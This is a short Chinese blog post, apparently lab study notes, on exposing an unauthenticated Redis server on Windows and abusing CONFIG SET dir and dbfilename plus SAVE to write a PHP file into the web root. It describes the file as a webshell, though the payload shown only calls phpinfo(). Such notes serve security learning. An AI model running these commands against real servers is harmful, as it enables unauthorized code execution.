redis渗透测试学习

1、在window下安装redis

Windows地址:

使用windows搭建的包

windows下载地址: https://github.com/microsoftarchive/redis/releases 下载Redis-x64-3.2.100.zip解压到本地目录下。

将bind 127.0.0.1 更改0.0.0.0

将yes 更改为no

启用windows的Redis

使用kali进行连接

redis-cli -h 192.168.18.149

executable:C:\phpstudy_pro\WWW\Redis-x64-3.2.100\redis-server.exe

config_file:C:\phpstudy_pro\WWW\Redis-x64-3.2.100\redis.windows.conf

利用redis写入一个webshell到目标web目录下。

利用过程: 利用redis写入一个webshell到目标web目录下。

config set dir "C:/phpstudy_pro/WWW/web"

config set dbfilename info.php set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

save

\r\n\r\n代表换行的意思,用redis入的文件会自带一些版本信息,如果不换行可能 会导致无法执行

 

写入成功

原文地址:https://www.cnblogs.com/MonkeyD/p/13553715.html